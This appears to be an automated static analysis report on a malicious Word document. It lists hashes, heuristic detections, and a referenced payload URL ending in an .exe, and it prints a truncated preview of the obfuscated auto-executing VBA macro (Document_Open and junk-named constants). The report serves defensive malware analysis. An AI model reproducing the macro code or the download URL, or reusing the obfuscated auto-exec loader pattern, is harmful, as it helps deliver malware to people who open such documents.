Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 482ef9753e48fbbd…

MALICIOUS

Office (OOXML)

66.1 KB Created: 2018-05-07 14:24:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2018-06-30
MD5: 0833cd3e63d530ec524eac9ba71bf19b SHA-1: 92eaa8ad04277d976e333a7aa143d21328ed6ec3 SHA-256: 482ef9753e48fbbd8da725f79864a70db4e1945f6dc0d75c5f8bc795fa2d54f1
304 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is an Office document containing a VBA macro that automatically executes upon opening. The macro is obfuscated and uses the Shell() function to download and execute a second-stage payload. The document body presents a deceptive 'Terms of Service' to encourage macro enablement, a common lure for malicious documents.

Heuristics 9

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ymail-inc.com/docverified/tresorit/ighcNjTray_Modules.exe Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 25201 bytes
SHA-256: 11c48011bfc888ed576cac38140318ba4d8e5a56e8485eff932ede02923fed34
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 24 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Document_Open()

yBFgAZxNE.KtZsQAwQR
'TioMPcpQQiexZoYTQskctBjjs
Dim ArVxQsIDSxZkTdjwpezTvMlBmlFufRyEU
'cxuTRlpWVbugYGtwMFjZznG
Dim cxuTRlpWVbugYGtwMFjZznG
End Sub





Attribute VB_Name = "yBFgAZxNE"
Const kNSUizNLeuMTXYUhXUfHixnTWAAKaqMncGOLEYPcXDTqc = 6233
Private Const uULvnmueiyvWrjioHpQDaeCOMTbfm4254 = 2
Const rkmdYAWEZZkPeUcCcxogXSRuIQRxiUKOrl356 = 42
Private Const uDapNznGMpHeGCnBLhWXxsf = 4
Const GZZTsUIiZVFOVYsNRSOmGOTCZayPkLYd712622630283206728 = 2
Private Const KjOLiRDPrTKAhmKqe6233 = 72
Const eqFJRvCeWtsfIzPqzmyebBL7173055 = 2
Private Const UHSwjRmQEAAhTwWDPJumpiK48233271230459362 = 9877540
Const ejoaHFzZLnGpzDHXgkDfueHXU699486 = 7173055
Private Const tMvXddLEJggucoTVwJpqFQp9877540 = 356
Const NNEDqnbKzOzTEozsFjXOHRKNEvBGhjfvnSuZJaHAq = 535
Private Const uWrJOXkLjEVPuJgIF4320 = 2
Const tmWCqvUWfTaXGFKW41244 = 45
Private Const FWzNQTFaytkZBxPgViinOfF = 6
Const mCNNhuKkRVRWuvdRsNmFFaNyooqgINthw83115335981664 = 2
Private Const lWDqfFbrGdyFJYfupMwkrgvprrQlLyQEYM535 = 51
Const CrKVHptdxqXCmLbLRvirXka32067285 = 14438316
Private Const MoQwDUDvWjhdjNkHuRYKERU0526592861576 = 23327123
Const LuAdRIibBhCqjYNUiuQBiiqom2 = 32067285
Private Const mbkQCgHKDGpHoSuzeYzjAOB23327123 = 41244
Const fsXpfvRTpHzHGfDIizPWNKrItFRoVtFScEIAYakiTboBZADBDxWnyV = 93624
Private Const QbNvjOVRmYtOVVxuAahYOubUAPwa9011 = 6
Const dyvBRqfRIYUdxkoRdnYHXnvMhT077812 = 92
Private Const ghzbBQxnNeMMvfjdjJXvAix = 7
Const cYSGqDiUxUfYNECiJbOTRjt333344945422 = 6
Private Const zsvURvoJayMDeSdsBMuRKnD93624 = 45
Const UXwDQJxOdgYNMZxljYGcPtx1478952 = 38
Private Const KJpVtBJQPEYSZIKBePWOMqs92626444823002 = 442057690
Const YFLLiDWlWdNdhBHHOcQxcKbhl569766554 = 1478952
Private Const cMwzcQZyUCwvgiWOevjIzNA442057690 = 77812
Const lrWurATfbqQKYwRqnKsfbvkJRvUsMWbORkNChrSLiCYEAwKQfrjQqCTMh = 981664
Private Const BWNXIQTUUOcsopjqFAwTpHMdwgaSEOB8566 = 5
Const nHQTZnkOIaQupCfCcfWNURztJjacqAQGN30310 = 79
Private Const ajpFVtlwWOUYEjhpoPMlzIW = 2
Const KKhFxxdNOFxnGkCqvh5411249740 = 5
Private Const EhZPRRQhLPrSotAXpZrnXWHWKpMHY981664 = 71
Const svhoMBOKEWETJWKByPyttxu861 = 76062
Private Const AktPtHsJZHqovtlZKVEzqxn87296869788372 = 10333174
Const mXKXhAoyXXOQusfLosIrtREib659 = 861
Private Const iuXMldJflKIaTiOBziDUklh10333174 = 30310
Const gNNwSqyyhVpRtPYFiYdGzsnsRBLdfnwEKwCzRYlNJC = 1
Private Const ZhPvHYkQRTXxJEEEPeVjkqKxvqScpiIc3212 = 6
Const jmyxRpuFihOyrHoKTpDCuIiXSARGH67295849 = 64
Private Const VSNTPEhgogxeHDjNVYYUHij = 6
Const DbfRYnyHyDDfhWFMrOaQGZbSwi30778994198 = 6
Private Const iKvMZSFHypbdBJvzDidRWtEZq1 = 43
Const VxSpcUISykCkNCygMDWyFQC2535 = 87268947
Private Const QNheexwdiRAiaIeUWrRxZCI4703588817985876 = 83333449
Const oCgSezCrOweEqXkJyxoptnhzR033 = 2535
Private Const sHqgxLewcxFnWQLjpYyBWXX083333449 = 67295849
Const TxkNnldvuvnxltifopFJLdnFHhmgoDNQIyCKOuGBtkaqSOrmXuzOY = 18334
Private Const cGQRcgoRNdfbXjPPbYfxRaca4964 = 5
Const JfFGzxGrYLrVbFzzYrfgCQWrSKIJGFCd515096494 = 53
Private Const lhrFteQxTTtLZceNKCktZBe = 6
Const OfAnxQNeyHSRyTYJpd398584531778 = 5
Private Const bSBiKNgYjzXYtASgxsixuntIOnppxkS18334 = 17
Const nJvuxKsAweRRBazWOfaRrqP74151062 = 7431
Private Const FXSWMqzdGefILVeGVitLnjf61635999041 = 492
Const JpfHDxyhPZGKaKpdVbImmgcRn447 = 74151062
Private Const wQLJMDQXxmJbXbunnpSkBNi492 = 515096494
Const ioZrmVmnmONUHvhzpJuTCpJvGEVOFiSLqErfDIjsrQtPmeATjnAAGDklFJ = 29293
Private Const IdpvJPnVHHtTkuKHjpvteelhzXiEwCeC8002 = 3
Const pqMUyJnBooyLBdLX49 = 41
Private Const UFycSPZkoTGHCskqmwbaNvc = 3
Const mkfIsppmWyuXgkadsFcLTMCXGRPjVTliHYY1635296243748244 = 3
Private Const bAJxNesHvlgjYEdrQuD29293 = 66
Const urXigeKCSCdjCaKJgONQITx74089346 = 5411
Private Const IlNJbxEFZHNtRMBdrArGpHq95559903853 = 4086158
Const PxrqdupWrbCWoDCYKrqlcDXnv10 = 74089346
Priva
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 55808 bytes
SHA-256: 1948ee273592c8308d3023a800dea29457325bb70c563cc5511804d1a748eb25
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 24 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.